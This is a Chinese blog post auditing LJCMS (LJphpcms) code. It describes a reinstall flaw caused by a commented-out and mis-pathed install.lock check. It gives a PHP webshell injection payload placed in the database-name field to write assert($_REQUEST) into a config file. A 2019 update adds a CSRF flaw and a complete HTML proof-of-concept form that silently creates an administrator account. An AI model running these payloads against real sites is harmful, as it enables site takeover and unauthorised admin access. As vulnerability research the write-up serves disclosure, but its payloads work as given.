你的微笑很美

LJCMS重装漏洞

代码审计 小雨 144℃ 0评论

0x00:环境

phpstudy+win7

官网:http://www.8cms.com/

演示:http://demo.8cms.com//install/

ps:无聊才随便看看没有,代码还没有看完不想看了,官网有漏洞可直接复显。

0x01:漏洞成因

代码分析,生成lock文件的代码被注释了

路径:LJphpcms\install\index.php

P:71-83

/*if (file_exists($file_lock))

{

	$title = $_LANG['LJPHPCMS'] . " › " . $_LANG['lock'];

	

	include $install->tpl('install.lock');

	exit();

}*/

P:571-576

//生成install.lock文件

/*$fopen_lock = fopen($file_lock, "w+");

fwrite($fopen_lock, "LJPHPCMS INSTALLED");*/
/* 生成数据库链接文件 */

P:41

包含生成install.lock文件

include_once ('./include/common.php');

路径:LJphpcms\install\include\common.php

生成install.lock文件路径写错了

$file_lock = ROOT_PATH . "data/install.lock";

路径:

LJphpcms\install\include\install.function.php

if (file_exists(INSTALL_ROOT.'./install/data/install.lock')) { echo "对不起,您已经完成了网站安装,如果您需要重新安装,请先删除install/data/install.lock文件再试。"; die(); } } 

可以看出生出的路径为/install/data/install.lock,少写的一个install目录。

程序错误路径:LJphpcms\data

程序正确路径:\LJphpcms\install\data

0x02:演示

路径:

http://192.168.89.118/LJphpcms/install/

数据库名,插入一句话木马

getshell');assert($_REQUEST["w"]);//

目录:/LJphpcms//source/conf/db.inc.php

PS:最后我想说的是没发getshell有过滤只是可以插入。。。

 

——————-2019-1-10更新csrf———————————

LJphpcms\source\control\admincp
p:390-408


   private function _validAdd($array) {
        if (!XValid::isUserArgs($array['adminname'])) {
            XHandle::halt('帐号格式不正确,只能由字母、数字、下横线、中文组成', '', 1);
        }
        if (!XValid::isLength($array['adminname'], 4, 16)){
            XHandle::halt('帐号长度不正确,必须为4-16个字符', '', 1);
        }
        if (!XValid::isLength($array['password'], 4, 16)){
            XHandle::halt('密码长度不正确,必须为4-16个字符', '', 1);
        }
        if ($array['confirmpassword'] != $array['password']){
            XHandle::halt('确认密码不正确', '', 1);
        }
        $array['groupid'] = intval($array['groupid']);
        $array['super'] = intval($array['super']); 
        $array['flag'] = intval($array['flag']);
        unset($array['confirmpassword']);
        return $array;
    }

直接加账号密码,没有添加token令牌的验证。

poc:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.89.120/LJphpcms/admincp.php?c=admin" method="POST">
      <input type="hidden" name="a" value="saveadd" />
      <input type="hidden" name="adminname" value="test" />
      <input type="hidden" name="password" value="test123" />
      <input type="hidden" name="confirmpassword" value="test123" />
      <input type="hidden" name="flag" value="1" />
      <input type="hidden" name="groupid" value="0" />
      <input type="hidden" name="memo" value="" />
      <input type="hidden" name="btn&#95;save" value="�&#183;&#187;�&#138;&#160;�&#191;&#157;�&#173;&#152;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

 

 

本文固定链接:小雨' s Blog » LJCMS重装漏洞
本站内容除特别标注外均为原创,欢迎转载,但请保留出处!

喜欢 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址